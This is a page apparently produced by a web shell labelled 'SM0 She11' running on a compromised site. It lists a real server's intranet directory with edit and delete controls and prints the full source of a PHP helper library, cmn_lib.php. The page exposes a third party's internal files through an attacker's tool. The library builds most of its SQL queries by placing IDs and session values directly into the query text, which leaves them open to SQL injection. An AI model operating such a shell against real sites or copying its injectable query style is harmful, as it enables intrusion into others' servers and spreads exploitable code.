SM0 She11

Path: / / home / saienerg / public_html / intra

Full Path (server): /home/saienerg/public_html/intra

📄 ajax1.php [E] [D]
📄 article_list.php [E] [D]
📁 assets Open [D]
📁 career Open [D]
📄 career_enquiries.php [E] [D]
📄 cat_load.php [E] [D]
📁 change Open [D]
📄 cmn_lib.php [E] [D]
📄 common.php [E] [D]
📄 compressImage.php [E] [D]
📄 config.php [E] [D]
📁 css Open [D]
📁 dashboard Open [D]
📁 data Open [D]
📁 fonts Open [D]
📄 foo_scripts.php [E] [D]
📄 foo_scripts1.php [E] [D]
📄 footer.php [E] [D]
📄 footer1.php [E] [D]
📄 form.php [E] [D]
📁 gallery Open [D]
📄 getExtension.php [E] [D]
📄 header.php [E] [D]
📄 header1.php [E] [D]
📁 hrrepo Open [D]
📁 images Open [D]
📁 includes Open [D]
📄 index.php [E] [D]
📄 index1.php [E] [D]
📄 kis_config.php [E] [D]
📄 login.php [E] [D]
📄 logout.php [E] [D]
📁 masters Open [D]
📁 others Open [D]
📁 perfomances Open [D]
📁 products Open [D]
📄 products.js [E] [D]
📁 services Open [D]
📄 sidebar.php [E] [D]
📄 sidebar1.php [E] [D]
📄 spel_config.php [E] [D]
📄 top_nav.php [E] [D]
📄 top_nav1.php [E] [D]
📁 users Open [D]

Editing: cmn_lib.php

<?php
$usr_id = $_SESSION['susr_id'];
include("spel_config.php");

class glibrary
{
public function get_state($id)
 {
    global $idb;	
 
		$qry=mysqli_query($idb,"select name from states_list where st_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		
 
		 return $name;
 }
 public function get_country($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select name from countries where country_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
 }
 
 
  public function get_active_status($id)
 {
	 if($id == '0')
	 {
		$sts ='Pending For Approval'; 
	 }else if($id == '1')
	 {
		$sts ='Approved'; 
	 }else if($id == '2')
	 {
		$sts ='Under Review'; 
	 }
	 
	 return $sts;
	 
 }
 public function get_service_category($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name,descr,icon_img from service_categories where srcat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		
		return array('name'=>$row['name'],'descr'=>$row['descr'],'icon_img'=>$row['icon_img']);
 		 //return $name;
  }
 
   
  public function get_service_sbcategory($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from service_subcategories where srsbcat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		 return $name;
 }
  public function get_service_sbcount($id)
 {   global $idb;
    	
 	 	$iq1 = mysqli_query($idb,"select count(*)as sb_cnt from  service_subcategories  where  srcat_id='$id' ") ;	
 	$if1= mysqli_fetch_array($iq1);
	$sb_cnt = $if1['sb_cnt'];  
		 return $sb_cnt;
 }

public function get_service_type($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from service_types where styp_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		 return $name;
 }
 public function get_product_category($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_categories where prcat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
   public function get_product_subcategory($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_subcategories where prscat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  }
  
   public function get_product_type($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_types where ptyp_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		 return $name;
 }
 
  public function get_event_category($id)
 {   global $idb;
    	
	        $qry=mysqli_query($idb,"select name from event_categories where ecat_id='$id'");

$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
 
  public function get_job_position($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from job_positions where jpos_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
  
 } 
   public function get_location($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from location_list where loc_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
  public function get_edu_qualification($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from edu_qualifications where eql_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
   public function get_prof_certification($id)
 {   global $idb;
    	
	  $qry=mysqli_query($idb,"select name from prof_certifications where cert_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
  
  
    public function get_jobdescr($id)
 {   global $idb;
    	
 	  $qry=mysqli_query($idb,"select descr,jd_code from job_descriptions where jd_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		return array('descr'=>$row['descr'],'jd_code'=>$row['jd_code']);
  }
  
 
 
public function get_serv_pending($id = '',$sts='')
 {   
 global $idb;
 $usr_id = $_SESSION['susr_id'];
   if($id>0)
  {
	 $e_qry = " and  crt_by ='$usr_id' ";   
  }else{
  $e_qry = '';
 }
 
    
    $qry=mysqli_query($idb,"select count(*) as cnt from services_list where status = '$sts' $e_qry ");
 	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
 }
 
public function get_pjt_pending($id = '',$sts='')
 {   
 global $idb;
 $usr_id = $_SESSION['susr_id'];
   if($id>0)
  {
	 $e_qry = " and  crt_by ='$usr_id' ";   
  }else{
  $e_qry = '';
 }
 
    
    $qry=mysqli_query($idb,"select count(*) as cnt from current_projects where status = '$sts' $e_qry ");
 	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
}

public function get_serv_cap_pending($id = '',$sts='')
 {   
 global $idb;
 $usr_id = $_SESSION['susr_id'];
   if($id>0)
  {
	 $e_qry = " and  crt_by ='$usr_id' ";   
  }else{
  $e_qry = '';
 }
 
    
    $qry=mysqli_query($idb,"select count(*) as cnt from service_capabilities where status = '$sts' $e_qry ");
 	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
}

public function get_expr_cap_pending($id = '',$sts='')
 {   
 global $idb;
 $usr_id = $_SESSION['susr_id'];
   if($id>0)
  {
	 $e_qry = " and  crt_by ='$usr_id' ";   
  }else{
  $e_qry = '';
 }
 
    
    $qry=mysqli_query($idb,"select count(*) as cnt from experience_list where status = '$sts' $e_qry ");
 	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
}

public function get_prd_pending($id = '')
 {  
  global $idb;
 
  $usr_id = $_SESSION['susr_id'];
	  if($id>0)
	  {
		 $e_qry = " and  crt_by ='$usr_id' ";   
	  }else{
	  $e_qry = '';
	 }
 
      $qry=mysqli_query($idb,"select count(*) as cnt from products_list where status = '0'  $e_qry ");
	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
 }
 
 public function get_user_role($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select name from user_roles where rl_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
 }
 
 
  public function get_user_details($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select * from users_list where usr_id='$id'");
		$row=mysqli_fetch_array($qry);
		$rl_id=$row['rl_id'];  
		$emp_nme= strtoupper($row['emp_name']);
  
		  return array('emp_nme'=>$emp_nme,'rl_id'=>$rl_id);

}
 
 
 
  public function get_maxpi()
 {   global $idb;
    	
 		 	 
 $tqry=mysqli_query($idb,"select MAX(inw_no) as inw_no,count(*) as cnt  from pi_list  order by  inw_id DESC LIMIT 0,1 " );
 $r1=mysqli_fetch_array($tqry);
  $cnt=$r1['cnt'];
	  
	  if($cnt>0)
	  {	   
	    $inw_no=$r1['inw_no'];
	    $var=1;
        $inw_no=$inw_no+ $var;
	   } else
	   {
		  $inw_no='1001';  
	   }
		  
		  
		  $inw_no=  str_pad($inw_no, 4, '0', STR_PAD_LEFT);	
	   return $inw_no;
  
 }
 
 
	
}